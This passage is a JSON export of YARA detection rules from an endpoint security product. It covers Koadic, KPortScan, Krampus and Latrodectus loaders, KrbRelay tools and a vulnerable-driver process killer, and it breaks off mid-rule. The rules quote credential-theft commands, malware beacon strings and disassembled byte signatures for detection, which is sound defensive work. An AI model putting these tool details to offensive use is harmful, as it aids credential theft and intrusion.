+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580815Z",
+  "creation_date": "2026-03-23T11:46:25.580817Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.580822Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0250/\nhttps://github.com/offsecginger/koadic"
+  ],
+  "name": "koadic_mimishim.yar",
+  "content": "rule koadic_mimishim {\n    meta:\n        title = \"Generic Koadic mimishim.dll\"\n        id = \"37615992-45e0-465e-bf5e-8ce93755def2\"\n        description = \"Detects Koadic, a Windows post-exploitation rootkit known as COM Command & Control.\\nKoadic is used for persistence and privilege escalation, functioning similarly to Meterpreter and Powershell Empire.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://attack.mitre.org/software/S0250/\\nhttps://github.com/offsecginger/koadic\"\n        date = \"2020-03-04\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0250;attack.t1055\"\n        classification = \"Windows.Framework.Koadic\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s1 = \"powershell_reflective_mimikatz\" ascii\n        $s2 = \"Failed to load powerkatz.dll.\" ascii\n        $s3 = \"Failed to get SeDebugPriv.\" ascii\n        $s4 = \"Failed to fork to x64.\" ascii\n        $s5 = \"Successfully forked to x64.\" ascii\n        $s6 = \"privilege::debug\" wide\n        $s7 = \"token::elevate\" wide\n        $s8 = \"Catastrophic error occurred!\" ascii\n\n        $libname_1 = \"mimishim.x64.dll\" ascii\n        $libname_2 = \"mimishim.dll\" ascii\n\n    condition:\n        all of ($s*) and 1 of ($libname_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "koadic_mimishim"
+  ],
+  "rule_creation_date": "2020-03-04",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Koadic"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-kportscan_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.570696Z",
+  "creation_date": "2026-03-23T11:46:25.570699Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.570705Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1046/"
+  ],
+  "name": "kportscan.yar",
+  "content": "rule kportscan {\n    meta:\n        title = \"KPortScan Tool\"\n        id = \"a427d57a-2213-41a0-8a41-c458f27399ad\"\n        description = \"Detects KPortScan, a port scanner binary.\\nKPortScan is a tool used for enumerating services running on remote hosts and network devices. It is part of the KLazy loader family and is often used by adversaries for reconnaissance purposes. This rule detects instances of the KPortScan binary being executed, which may indicate active network scanning and service discovery activities.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine if the usage of this tool is legitimate.\"\n        references = \"https://attack.mitre.org/techniques/T1046/\"\n        date = \"2023-03-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.reconnaissance;attack.t1595.001;attack.discovery;attack.t1046\"\n        classification = \"Windows.Tool.KPortScan\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 080c6108c3bd0f8a43d5647db36dc434032842339f0ba38ad1ff62f72999c4e5\n\n        $s1 = \"1on_scanDiapFinished()\" fullword ascii\n        $s2 = \"http://www.proxysecurity.com/ip-address-range.php?country=\" fullword ascii\n        $s3 = \"Count of goods:\" fullword ascii\n        $s4 = \"ScanWindow\" fullword ascii\n        $s5 = \"(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}-\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})\" fullword ascii\n        $s6 = \"IP ranges list is clear\" fullword ascii\n        $s7 = \"results.txt\" fullword ascii\n        $s8 = \"scanFinished()\" fullword ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "kportscan"
+  ],
+  "rule_creation_date": "2023-03-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.KPortScan"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1595.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-krampus_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568513Z",
+  "creation_date": "2026-03-23T11:46:25.568515Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568521Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cybersecuritynews.com/beware-of-new-krampus-loader/"
+  ],
+  "name": "krampus_loader.yar",
+  "content": "rule krampus_loader {\n    meta:\n        title = \"Krampus Loader\"\n        id = \"798970ab-a9ee-42f5-8c75-a5faa049d847\"\n        description = \"Detects Krampus Loader, a loader used by threat actors to deliver a wide range of information stealers such as Lumma Stealer.\\nIt is recommended to investigate the context around this alert and to investigate suspicious actions or network connections.\"\n        references = \"https://cybersecuritynews.com/beware-of-new-krampus-loader/\"\n        date = \"2024-12-13\"\n        modified = \"2025-07-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1140;attack.t1036;attack.t1055\"\n        classification = \"Windows.Loader.Krampus\"\n        context = \"process,memory,thread\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 773d3cb5edef063fb5084efcd8d9d7ac7624b271f94706d4598df058a89f77fd\n\n        $s1 = \"|mirror_url|-Wait|R_AD|DESKTOP-WG|&userdata=|\" ascii\n        $s2 = \"|random|zip-lib|virtual|\" ascii\n        $s3 = \"./preload.js\" ascii fullword\n        $s4 = \"findstr /C:\\\"Detected boot environment\\\" \\\"%windir%\\\\Panther\\\\setupact.log\\\"\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "krampus_loader"
+  ],
+  "rule_creation_date": "2024-12-13",
+  "rule_modified_date": "2025-07-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.Krampus"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036",
+    "attack.t1140",
+    "attack.t1106",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-krbrelayup_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584479Z",
+  "creation_date": "2026-03-23T11:46:25.584481Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584486Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Dec0ne/KrbRelayUp"
+  ],
+  "name": "krbrelayup.yar",
+  "content": "rule krbrelayup {\n    meta:\n        title = \"KrbRelayUp HackTool\"\n        id = \"c0a4f994-e2e6-4614-97b2-63fdedf937ca\"\n        description = \"Detects the KrbRelayUp HackTool.\\nKrbRelayUp is a no-fix local privilege escalation tool targeting Windows domain environments where LDAP signing is not enforced. It exploits a vulnerability in the Kerberos protocol to intercept and manipulate service tickets, allowing attackers to escalate privileges and gain unauthorized access. The tool can relay these tickets to achieve persistence and lateral movement within the network.\\nThis rule detects the tool's activity by identifying specific process and network behavior indicative of its operations, including error messages and function calls related to Kerberos ticket handling.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/Dec0ne/KrbRelayUp\"\n        date = \"2022-08-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1558.003;attack.lateral_movement;attack.t1550.003\"\n        classification = \"Windows.HackTool.KrbRelayUp\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 00c5cbf50c23fceebe76e18e53699cadf94d345edfba1356f21c1e37205bdc58\n        // 4fbf17e849e9036781093309d541adcacf1db740a209ea58291cf3cc88f6d3d6\n\n        $s1 = \"KrbRelayUp.Kerberos.PAC\" fullword ascii\n        $s2 = \"KrbRelayUp.Ndr.Marshal.INdrConformantStructure.GetConformantDimensions\" fullword ascii\n        $s3 = \"/KrbRelayUp.Relay.Helpers\" ascii\n        $s4 = \"[-] Unable to get domain controller address\" fullword wide\n        $s5 = \"[*] Ticket written to {0}\" fullword wide\n        $s6 = \"[+] InitializeSecurityContextHook called for target\" fullword wide\n        $s7 = \"[+] Created process ID: {0}\" fullword wide\n        $s8 = \"[+] Ticket successfully imported!\" fullword wide\n        $s9 = \"[*] Using domain controller: {0}\" fullword wide\n        $s10 = \"[X] Error binding to LDAP server: {0}\" fullword wide\n\n    condition:\n        8 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "krbrelayup"
+  ],
+  "rule_creation_date": "2022-08-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.KrbRelayUp"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1558.003",
+    "attack.t1550.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-krbrelay_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571349Z",
+  "creation_date": "2026-03-23T11:46:25.571351Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571356Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/cube0x0/KrbRelay/\nhttps://www.microsoft.com/en-us/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup/"
+  ],
+  "name": "krbrelay.yar",
+  "content": "rule krbrelay {\n    meta:\n        title = \"KrbRelay HackTool\"\n        id = \"34d6189f-92e8-4db0-9d84-8a2fd1ef1d04\"\n        description = \"Detects the KrbRelay HackTool, which is a no-fix local privilege escalation in Windows domain environments.\\nKrbRelay is a tool that exploits Kerberos relay attacks to gain unauthorized access in Windows environments. It specifically targets scenarios where LDAP signing is not enforced, allowing attackers to relay authentication tickets and escalate privileges. This technique enables attackers to move laterally within a domain and access resources beyond their original permissions.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/cube0x0/KrbRelay/\\nhttps://www.microsoft.com/en-us/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup/\"\n        date = \"2023-07-06\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1558.003;attack.lateral_movement;attack.t1550.003\"\n        classification = \"Windows.HackTool.KrbRelay\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 03287199422762cf4bd3279610ac5cb48a49bbccf77cf7caa292ef1ecc70aaab\n\n        $s1 = \"!Error parsing distinguished name.\" fullword ascii\n        $s2 = \"(Unsupported secret encryption algorithm.\" fullword ascii\n        $s3 = \"[{0}:{1}] New connection request rejected\" fullword wide\n        $s4 = \"SMB1 message received: {0} requests, First request: {1}, Packet length: {2}\" fullword wide\n        $s5 = \"{0} failed. Invalid TID (UID: {1}, TID: {2})\" fullword wide\n        $s6 = \"KGS!@#$%\" fullword wide\n        $s7 = \"[-] -rbcd requires an argument\" fullword wide\n        $s8 = \"Missing /clsid: parameter\" fullword wide\n        $s9 = \"windows\\\\temp\\\\sam.tmp\" fullword wide\n        $s10 = \"{0}   {1,22}    {2, -5}     {3}\" fullword wide\n\n    condition:\n        8 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "krbrelay"
+  ],
+  "rule_creation_date": "2023-07-06",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.KrbRelay"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1558.003",
+    "attack.t1550.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ksapi64-killer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567729Z",
+  "creation_date": "2026-03-23T11:46:25.567731Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567737Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BlackSnufkin/BYOVD/tree/main/Ksapi64-Killer/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "ksapi64-killer.yar",
+  "content": "rule ksapi64_killer {\n    meta:\n        title = \"Ksapi64-Killer HackTool\"\n        id = \"76e4b887-c19f-46df-b79e-e0fa616c4263\"\n        description = \"Detects Ksapi64-Killer, a tool that exploits the ksapi64.sys vulnerable driver to terminate protected processes.\\nKsapi64-Killer loads the malicious driver and uses it to terminate specific processes.\"\n        references = \"https://github.com/BlackSnufkin/BYOVD/tree/main/Ksapi64-Killer/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.Ksapi64Killer\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 2bc2614ed5356c2359858beb5ee1b0ab6218e76989f8d967292c55eb081556ce\n\n        $device = \"\\\\\\\\.\\\\ksapi64_dev\" wide ascii\n        $winapi_01 = \"CreateFile\" wide ascii\n        $winapi_02 = \"DeviceIoControl\" wide ascii\n        $winapi_03 = \"CreateToolhelp32Snapshot\" wide ascii\n        $winapi_04 = \"Process32First\" wide ascii\n        $winapi_05 = \"Process32Next\" wide ascii\n        $winapi_06 = \"OpenSCManager\" wide ascii\n        $winapi_07 = \"OpenService\" wide ascii\n        $winapi_08 = \"StartService\" wide ascii\n        $winapi_09 = \"CreateService\" wide ascii\n        $IOCTL_kill = { (22 37 50 40|40 50 37 22|02 23 75 04|04 75 23 02) }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ksapi64_killer"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Ksapi64Killer"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-latrodectus_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573456Z",
+  "creation_date": "2026-03-23T11:46:25.573459Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573464Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitsight.com/blog/latrodectus-are-you-coming-back\nhttps://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"
+  ],
+  "name": "latrodectus_loader.yar",
+  "content": "rule latrodectus_loader {\n    meta:\n        title = \"Latrodectus Loader\"\n        id = \"ce9e99ca-9730-4e89-83cb-b3e1d270d25d\"\n        description = \"Detects Latrodectus, a sophisticated malware loader serving as a successor to IcedID with capabilities including payload delivery, reconnaissance, and evasion techniques.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.bitsight.com/blog/latrodectus-are-you-coming-back\\nhttps://www.elastic.co/security-labs/spring-cleaning-with-latrodectus\"\n        date = \"2025-05-23\"\n        modified = \"2025-07-23\"\n        author = \"HarfangLab\"\n        tags = \"attack.initial_access;attack.t1566.001;attack.defense_evasion;attack.t1218.011;attack.t1027;attack.discovery;attack.t1057;attack.t1082;attack.execution;attack.t1059.003;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Trojan.Latrodectus\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 0407b7cb8cd1aa15df244917547935b340b79adfcb7b550fbf251ffed9bf967d\n        // 1faa8e7a55214085f71663ed79e023a1df09819e3b92b5a61fbc2fc4ee92c6eb\n        // 3c6a09869d0be8d3dd7136badce27a9de47db08f9e065b8a6ba8843e2a43a09b\n        // 4d7b0b80d4877bbff8c227c29df72aefd0ec18c7204a7f05f85e2494e62c7f87\n        // 59eed9c82f60210e2a58df96fe1ab54a7bb96d2c5e7d5d3cc3b16de433b9958b\n\n        $s1 = \"counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s\" ascii\n        $s2 = \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)\" wide\n        $s3 = \"runnung\" wide\n\n        $x_api_resolution = {\n            48 81 EC 88 00 00 00                          // sub     rsp, 88h\n            C7 44 24 30 1B 04 0A 7A                       // mov     [rsp+88h+var_58], 7A0A041Bh\n            48 8D 05 ?? ?? 00 00                          // lea     rax, unk_180011A50\n            48 89 44 24 38                                // mov     [rsp+88h+var_50], rax\n            48 8D 05 ?? ?? 00 00                          // lea     rax, unk_1800119E0\n            48 89 44 24 40                                // mov     [rsp+88h+var_48], rax\n            C7 44 24 48 CE 2B 52 0C                       // mov     [rsp+88h+var_40], 0C522BCEh\n            48 8D 05 ?? ?? 00 00                          // lea     rax, unk_180011A50\n            48 89 44 24 50                                // mov     [rsp+88h+var_38], rax\n            48 8D 05 ?? ?? 00 00                          // lea     rax, unk_1800119D8\n            48 89 44 24 58                                // mov     [rsp+88h+var_30], rax\n            C7 44 24 60 B5 44 DE 8B                       // mov     [rsp+88h+var_28], 8BDE44B5h\n            48 8D 05 ?? ?? 00 00                          // lea     rax, unk_180011A50\n            48 89 44 24 68                                // mov     [rsp+88h+var_20], rax\n            48 8D 05 ?? ?? 00 00                          // lea     rax, unk_1800119E8\n            48 89 44 24 70                                // mov     [rsp+88h+var_18], rax\n            C7 44 24 20 00 00 00 00                       // mov     [rsp+88h+var_68], 0\n            EB 0A                                         // jmp     short loc_18000BDA7\n        }\n\n        $x_resolve_dll = {\n            89 44 24 28                                   // mov     [rsp+2E8h+var_2C0], eax\n            8B 84 24 F0 02 00 00                          // mov     eax, [rsp+2E8h+arg_0]\n            39 44 24 28                                   // cmp     [rsp+2E8h+var_2C0], eax\n            75 15                                         // jnz     short loc_18000B47B\n            48 8D 8C 24 BC 00 00 00                       // lea     rcx, [rsp+2E8h+var_22C]\n            FF 15 ?? ?? 00 00                             // call    cs:LoadLibraryW\n            48 89 44 24 40                                // mov     [rsp+2E8h+var_2A8], rax\n            EB 02                                         // jmp     short loc_18000B47D\n\n                                        // loc_18000B47B:\n            EB 90                                         // jmp     short loc_18000B40D\n\n\n                                        // loc_18000B47D:\n            48 8B 4C 24 20                                // mov     rcx, [rsp+2E8h+var_2C8]\n            E8 ?? ?? FF FF                                // call    FreeUpMemoryViaSyscall\n            48 8B 44 24 40                                // mov     rax, [rsp+2E8h+var_2A8]\n\n                                        // loc_18000B48C:\n            48 81 C4 E8 02 00 00                          // add     rsp, 2E8h\n            C3                                            // retn\n        }\n\n        $x_campagn_id = {\n            48 03 C8                                      // add     rcx, rax\n            48 8B C1                                      // mov     rax, rcx\n            48 39 44 24 08                                // cmp     [rsp+18h+var_10], rax\n            73 1E                                         // jnb     short loc_18000D7E7\n            48 8B 44 24 08                                // mov     rax, [rsp+18h+var_10]\n            0F BE 00                                      // movsx   eax, byte ptr [rax]\n            8B 0C 24                                      // mov     ecx, [rsp+18h+var_18]\n            33 C8                                         // xor     ecx, eax\n            8B C1                                         // mov     eax, ecx\n            89 04 24                                      // mov     [rsp+18h+var_18], eax\n            69 04 24 93 01 00 01                          // imul    eax, [rsp+18h+var_18], 1000193h\n            89 04 24                                      // mov     [rsp+18h+var_18], eax\n            EB BE                                         // jmp     short loc_18000D7A5\n        }\n\n        $x_command_id = {\n            83 BC 24 ?? ?? 00 00 12                       // cmp     [rsp+268h+arg_8], 12h\n            74 ??                                         // jz      short loc_180004828\n            83 BC 24 ?? ?? 00 00 0E                       // cmp     [rsp+268h+arg_8], 0Eh\n            74 ??                                         // jz      short loc_180004828\n            83 BC 24 ?? ?? 00 00 0C                       // cmp     [rsp+268h+arg_8], 0Ch\n            74 ??                                         // jz      short loc_180004828\n            83 BC 24 ?? ?? 00 00 0D                       // cmp     [rsp+268h+arg_8], 0Dh\n            74 ??                                         // jz      short loc_180004828\n            83 BC 24 ?? ?? 00 00 0F                       // cmp     [rsp+268h+arg_8], 0Fh\n            74 ??                                         // jz      short loc_180004828\n            83 BC 24 ?? ?? 00 00 04                       // cmp     [rsp+268h+arg_8], 4\n            74 ??                                         // jz      short loc_180004828\n            83 BC 24 ?? ?? 00 00 15                       // cmp     [rsp+268h+arg_8], 15h\n            74 ??                                         // jz      short loc_180004828\n        }\n\n        $x_download_and_execute_shellcode = {\n            48 8B 44 24 38                                // mov     rax, [rsp+278h+var_240]\n            0F BE 00                                      // movsx   eax, byte ptr [rax]\n            85 C0                                         // test    eax, eax\n            0F 84 AA 00 00 00                             // jz      loc_180008273\n            83 7C 24 40 00                                // cmp     [rsp+278h+var_238], 0\n            0F 84 9F 00 00 00                             // jz      loc_180008273\n            83 7C 24 30 00                                // cmp     [rsp+278h+var_248], 0\n            0F 84 94 00 00 00                             // jz      loc_180008273\n            8B 44 24 30                                   // mov     eax, [rsp+278h+var_248]\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'\n            41 B8 00 10 00 00                             // mov     r8d, 1000h\n            8B D0                                         // mov     edx, eax\n            33 C9                                         // xor     ecx, ecx\n        }\n\n        $x_bot_id = {\n            B8 01 00 00 00                                // mov     eax, 1\n            48 6B C0 06                                   // imul    rax, 6\n            48 8B 8C 24 A0 00 00 00                       // mov     rcx, [rsp+98h+arg_0]\n            0F B7 44 01 08                                // movzx   